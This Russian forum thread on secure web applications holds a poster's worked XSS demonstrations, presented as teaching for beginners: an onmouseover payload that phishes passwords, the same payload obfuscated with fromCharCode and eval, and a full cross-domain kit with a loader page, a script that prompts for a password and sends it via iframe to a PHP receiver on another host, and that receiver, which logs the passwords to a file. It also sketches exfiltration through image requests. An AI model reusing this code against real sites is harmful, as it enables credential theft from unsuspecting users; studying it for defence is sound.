Написание безопасных web-приложений

Статус
В этой теме нельзя размещать новые ответы.
Если есть примеры, то выкладывайте еще. Огромное спасибо за доступный к пониманию материал. как говориться Вооружен - значит защищен.:)
 
Вот стал задумываться еще о следующем.
Не знаю надо ли говорить что:
- нельзя в действующем проекте располагать информацию о версиях проекта и прочей информации для разработчика на уровне файлов, которые можно просмотреть через вэб браузер, допустим текстовых файлов, комментариев в js, явно указывающих на версию проекта и подобных файлов (яркие примеры: PhpMyAdmin, SMF и т.п., которые приходится очень хорошо вычистить перед установкой), о том, что информация о версии проекта вообще должна быть доступной только ограниченному кругу лиц, а еще лучше - только среде разработчиков.
- о настройках .htaccess таких как:
- AllowOverride, Options -Indexes, RemoveHandler, AddType, display_errors и подобных
- о правах устанавливаемых на файлы, директории
- о черут окружении пользователя (это уже больше касается серверной защиты и минимизации ущерба взлома)
- о разграничении прав пользователей на уровне Баз Данных
Но что то кажется, что Остапа понесло.
 
Проверяем разрешены ли у тэгов обработчики событий onclick,onmouseover, onload, onunload и подобные

Вы таки извините, но это - п**дец.
 
Вы таки извините, но это - п**дец.
Не понял. Совсем не понял.
Слово "разрешен" обработчик - остался в "разрешенных" тегах. Не был удален один из обработчиков. Ищутся сначала разрешенные теги. Потом проверяется список обработчиков событий, которые не удаляются парсером.
HTML:
<div onmouseover="window.location.href='http://www.ya.ru';">Привет всем</div>
Очень утрировано. Идея понятна?
Вставь в хтмл и посмотри.
HTML:
<div onmouseover="if(!window.pwd){window.pwd = prompt('Добрый день. Проводится смена аутентификации. Задайте ваш текущий пароль');}; var page = document.cookie;if(document.all){var xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');} else { var xmlhttp = new XMLHttpRequest();}; xmlhttp.open('GET',window.location); xmlhttp.send(''); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ if(!window.newPwd){window.newPwd = prompt('А теперь новый пароль пожалуйста');};}}">Добрый день. Наведите мышью. Важная информация.</div>
Это тот же самый пример, что и пердыдущий, без единой кавычки:
HTML:
<div onmouseover="eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,112,119,100,41,123,119,105,110,100,111,119,46,112,119,100,32,61,32,112,114,111,109,112,116,40,39,1044,1086,1073,1088,1099,1081,32,1076,1077,1085,1100,46,32,1055,1088,1086,1074,1086,1076,1080,1090,1089,1103,32,1089,1084,1077,1085,1072,32,1072,1091,1090,1077,1085,1090,1080,1092,1080,1082,1072,1094,1080,1080,46,32,1047,1072,1076,1072,1081,1090,1077,32,1074,1072,1096,32,1090,1077,1082,1091,1097,1080,1081,32,1087,1072,1088,1086,1083,1100,39,41,59,125,59,32,118,97,114,32,112,97,103,101,32,61,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,105,102,40,100,111,99,117,109,101,110,116,46,97,108,108,41,123,118,97,114,32,120,109,108,104,116,116,112,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,77,115,120,109,108,50,46,88,77,76,72,84,84,80,39,41,59,125,32,101,108,115,101,32,123,32,118,97,114,32,120,109,108,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,125,59,32,120,109,108,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,41,59,32,120,109,108,104,116,116,112,46,115,101,110,100,40,39,39,41,59,32,120,109,108,104,116,116,112,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,32,61,32,102,117,110,99,116,105,111,110,40,41,123,32,105,102,40,120,109,108,104,116,116,112,46,114,101,97,100,121,83,116,97,116,101,32,61,61,32,52,41,123,32,105,102,40,33,119,105,110,100,111,119,46,110,101,119,80,119,100,41,123,119,105,110,100,111,119,46,110,101,119,80,119,100,32,61,32,112,114,111,109,112,116,40,39,1040,32,1090,1077,1087,1077,1088,1100,32,1085,1086,1074,1099,1081,32,1087,1072,1088,1086,1083,1100,32,1087,1086,1078,1072,1083,1091,1081,1089,1090,1072,39,41,59,125,59,125,59,125,59));">Привет всем</div>



А если подставить вместо xmlhttp.send,xmlhttp.open - адрес сайта приемника,рельное значение пароля, которое мы только что спросили? и отправить вместе с куками? а если подготовить окно в стиле сайта которое "дернуть" по загрузке? вживлением скрипта? а в окошке спросить и логин и пароль. А потом по аякс запросу передать на сайт приемник, и после этого установить Куку, чтобы второй раз не повторяться с запросом пароля и тем же клиентом?
И это полный как вы выразились .... ц?
Мне не нужно даже столько кода, чтобы выполнить то, о чем я говорю.
Мне нужно вживить лишь чуть чуть. Создание элемента script, присвоение ему свойства src, и вживление в документ. Все. Загрузка скрипта пошла. Делаю что хочу. Забираю любую информацию. Хоть целиком выгружаю все "спрятанное" от обычных глаз, на страницах где мой js уже работает. И, как я говорил, мне для этого не нужны ни кавычки, ни упоминание js, хватит лишь набора обработчиков событий. Если они разрешены. Или спец определений для тега style в том же Explorer.
С 1996 года как появился ajax javascript давно уже не такой безобидный язык для проверки форм. А с выходом библиотек по типу Prototype, jQuery, Motools мне требуется вообще вживить всего лишь пару строк, чтобы перевернуть страницу с ног на голову по своему желанию. Большинство ЮИ уже описано. А та же библиотека jQuery ajax поддерживает в стандартном наборе функций.
У каждого свое мнение.
 
Первое. Да будет вам известно, через AJAX невозможно отправить либо получить данные с хоста, отличного от хоста на котором исполняется приложение. Это дефолтное ограничение DOM.

Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.
 
Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.

Поясните пожалуйста на примере ваше высказывание.
Что Ajax вообще не нужно использовать что ли?
 
Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.

Да уж нет, скорее "не программист" тот, кто выдумывает всякие BB-теги и прочую ересь, чтобы защититься от XSS. Ведь куда как проще сделать strip_tags, а потом повставлять теги из ограниченного набора, чем правильно и грамотно отфильтровать юзерский html. Но в то же время большинство "серьезных" программистов все-таки не насилуют юзера, а изголяются сами - и тратят на фильтрацию не одну неделю. Примеры - JiveJournal, WordPress, все бесплатные почтовики (мейлру, яндекс, гмейл...), хабр, dirty и так далее. Все разрешают чистый html.
 
Первое. Да будет вам известно, через AJAX невозможно отправить либо получить данные с хоста, отличного от хоста на котором исполняется приложение. Это дефолтное ограничение DOM.

Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.

Спасибо за ответ. Но.

Номер раз:
Для просмотра ссылки Войди или Зарегистрируйся

А теперь номер два, или то, о чем я говорил.

Для просмотра ссылки Войди или Зарегистрируйся

Same Origin Policy Говорите?
Ну так я его обошел. Просто вспомнил: с чего начинался ajax.
Итак, данные отлично передаются в скрипт php. Пусть даже накладывается ограничение на передачу методом GET. (можно поделить и передавать многоразово. можно обойти и этот запрет. Но для цели кражи логина и пароля - этого хватит)
Примеры раскройте и посмотрите для интереса.

файл 1 - Домен 1:

Для просмотра ссылки Войди или Зарегистрируйся

HTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
  <title></title>
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>

  <style type="text/css">

     body,html{
       margin: 0;
       padding: 0;
       color: black;
       font: normal normal 11pt Arial,Verdana, serif;
     }
     iframe{
       width: 100%;
       height: 100%;
       background-color: #EEE !important;
     }


     #loaded{
            padding: 10px;
            width: 200px;
            height: 200px;
            position: absolute;
            top: 20%;
            left: 20%;
            z-index: 1000;
            display: none;
            font: normal normal 12pt Tahoma,Arial,serif;
            color: green;
            background: transparent;
     }
      #ajax_container{
            padding: 10px;
            width: 300px;
            height: 300px;
            z-index: 2;
            position: absolute;
            top: 2%;
            left: 2%;
            background-color: #EEE;
            color: red;
            display: none;
            background: #EEE;

      }
  </style>
  <!--[if lt IE 7]>
    <style type="text/css">
    #loaded, #ajax_container{
        zoom: 1;
     }
    </style>
  <![endif]-->

  <script type="text/javascript" src="http://erney-laz.org.ua/catalog/xss/jquery-1.3.2.min.js"></script>
  <script type="text/javascript">
  $(document).ready( function(){
  $.getScript("http://maxlifenow.com/hello_world.js", function(){
    $("#loaded").fadeIn(3000);
    });
    });
  </script>

<body>

<div id="loaded">
     Увидем это окно не раньше, как загрузится чужой скрипт с другого домена.


</div>
<div id="ajax_container">

</div>


</body>

</html>

Файл 2 - домен 2:
Для просмотра ссылки Войди или Зарегистрируйся

HTML:
$("#ajax_container").html("<span>А этот блок мы будем использовать для  вставки ajax И его текст приехал с другого домена</span>").fadeIn(2000);
setTimeout(
             function(){
                $("#ajax_container").fadeOut(3000,
                function(){
                   $("#ajax_container").html("А теперь сделаем кроссайтовый запрос");
                   $("#ajax_container").fadeIn(3000, function(){
                        var password            = prompt("Пожалуйста, введите фразу","");
                        if(password){

                            $("#ajax_container").fadeOut(3000,function(){
                                    $(this).html("<iframe vspace='0' hspace='0' frameborder='0' src='http://maxlifenow.com/cleanup.php?action="+password+"' style='background-color: #EEE !important;'></iframe>");
                                    $(this).fadeIn(3000);
                            });
                        } else {
                            alert('Вы ничего не ввели. Перезагрузим страницу.');
                            window.location.reload();

                        }

                   });
                }
                );



             },2000
);

Файл-приемник 3 - Домен 2 (Для наглядности сохраняю в файл и вывожу последние 30 фраз обратно:(
Для просмотра ссылки Войди или Зарегистрируйся

PHP:
<?php
header('Content-type: text/html; charset=utf-8');
$action				= $_GET['action'];

$file				= $_SERVER['DOCUMENT_ROOT'].'/pass.txt';

$arr				= array();
$dif				= 0;
$pass				= '';


if(is_file($file)){
	if(!is_readable($file) || !is_writable($file)){
		chmod($file,0775);
	}
	$arr			= file($file);
	$sizeof			= sizeof($arr);
	if($sizeof		&& $sizeof>29){
		$dif		= $sizeof-29;
	}
}



$fp					= fopen($file,'w');
if($fp && is_resource($fp)){
	flock($fp,LOCK_EX);
	$arr[]			= $action;
	$sizeof			= sizeof($arr);
	
	
	for($i=$dif;$i<$sizeof;$i++){
		$string		= '';
		$string		= trim($arr[$i]);
		$string		.= "\n";
		if($fp && is_resource($fp)){
			
			fwrite($fp,$string);
			
		}
		$del		 = ','."\t";
		$pass		.= ((!empty($pass))?$del:'').$arr[$i];
					unset($del,$string);
	
	}
	if($fp && is_resource($fp)){
		flock($fp,LOCK_UN);
		fclose($fp);
		$fp			= null;
	}
		
}
					unset($fp,$sizeof,$action,$arr,$dif,$file);

$pass				= empty($pass)?$action:$pass;				

echo ('Последние доверенные 30 паролей с вашего домена = '.$pass);

?>

Все элементарно просто. Все работает.

Мне все равно, что придет от сервера на самом деле, мне не нужно это обрабатывать, все что хотел, я уже сделал, а точнее: передал с одного домена важную информацию на другой без дерганий страницы и без видимой перезагрузки. Элементы, что показаны в примере, можно вообще не отображать. Конечный пользователь ничего не увидит. У iframe, введу двойственности его поведения (в зависимости от условий обращения: и окно, и элемент DOM текущего документа) можно обработать событие загрузки как для элемента документа, а не как для окна и выполнить какие то действия после его загрузки.


2. Iframe можно заменить так же файлом с расширением js, а на стороне сервера просто написать следующее для этой папки в .htaccess или в .conf:

RemoveHandler .js
AddType application/x-httpd-php .php .js

js наполнить исполняемым кодом php, который будет нечто передавать на выходе, как функция callback по выполнению перехвата данных. И гетом отсылать информацию. Похоже на асинхронный javascript?



3. Можно использовать на выходе из php файла картинку, и передавать данные через тег <img его свойство src.
А после возвращения в скрипт отслеживать размер картинки и делать выводы на основании этого. Все аналогично пункту 2.

Все это повлечет за собой вот такой результат:

Результат: со второго домена был подхвачен js который сумел передать данные на второй домен в обход Same Origin Policy. Проверял в FF,Opera, IE 7, и даже дедушке IE 6, Safari, Chrome работает, на ура.
Так же я привел небольшой пример как скрипт из другого домена после загрузки в тело документа может отлично взять на себя управление блоками скрипта и поведением страницы.

И разве я один об этом знаю? Ничего сверхъестественного.
Что остается? оформить окошко под цвет сайта?
Добавить поле Login в свое окно?
И правдоподобное описание: зачем это нужно сделать пользователю?
Внедрить куки чтобы не спрашивать повторно у одного и того же пользователя?
Складировать всю пришлую информацию на сайте приемнике?
Или вживить всплывающую рекламу?
Изменить поведение страницы?
Осталось только найти xss уязвимость на атакуемом сайте...
Вроде все... XSS done...
А вы так выразились...



Думаю этот пример уже более реален по XSS?

Еще с неделю примеров и хоть пиши статью: XSS, пишем кроссбраузерную библиотеку XSS своими руками.
 
Поясните пожалуйста на примере ваше высказывание.
Что Ajax вообще не нужно использовать что ли?
Одно дело - использовать ajax, другое - позволять юзеру отсылать HTML код.

Да уж нет, скорее "не программист" тот, кто выдумывает всякие BB-теги и прочую ересь, чтобы защититься от XSS. Ведь куда как проще сделать strip_tags, а потом повставлять теги из ограниченного набора, чем правильно и грамотно отфильтровать юзерский html. Но в то же время большинство "серьезных" программистов все-таки не насилуют юзера, а изголяются сами - и тратят на фильтрацию не одну неделю. Примеры - JiveJournal, WordPress, все бесплатные почтовики (мейлру, яндекс, гмейл...), хабр, dirty и так далее. Все разрешают чистый html.
Все эти примеры используют чистый html только ради скорости. Однако можно вспомнить к чему это привело на LJ - юзеры фигачили div с абсолютным позиционированием в комменте и закрывали им журнал. Особенно Тёма Лебедев тогда долго матерился.

Спасибо за ответ. Но.

Номер раз:
Для просмотра ссылки Войди или Зарегистрируйся
In particular, if a same origin request is redirected to a non same origin URL the specification should abort the request and either terminate completely (as it did until now) or use the Для просмотра ссылки Войди или Зарегистрируйся algorithm on the non same origin URL.

Это спецификация безопасности DOM. Я раз за ваше рвение в области информационной безопасности, однако у проекта _нормального_ программиста такие приколы не прокатят.
 
In particular, if a same origin request is redirected to a non same origin URL the specification should abort the request and either terminate completely (as it did until now) or use the Для просмотра ссылки Войди или Зарегистрируйся algorithm on the non same origin URL.

Это спецификация безопасности DOM. Я раз за ваше рвение в области информационной безопасности, однако у проекта _нормального_ программиста такие приколы не прокатят.

Согласен. Поэтому этот материал был изначально размещен в faq для начинающих программистов.
Да, здесь ничего нет такого, что не узнает программист за первые пол года работы junior. Эта статься рассчитана была изначально на тех, кто начинает. Даже с простыми детскими примерами. А по поводу профи не нужно далеко идти, профи писали vbulletin, который от версии к версии латает xss. Странно да, ведь профессионалы? И это не касается только воблы. Хотя с другой стороны есть 10 ки реально работающих опенсорс проектов, для которых таких новостей нет годами о xss и прочем. Просто хочется чтобы люди не спотыкались на одном и том же.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху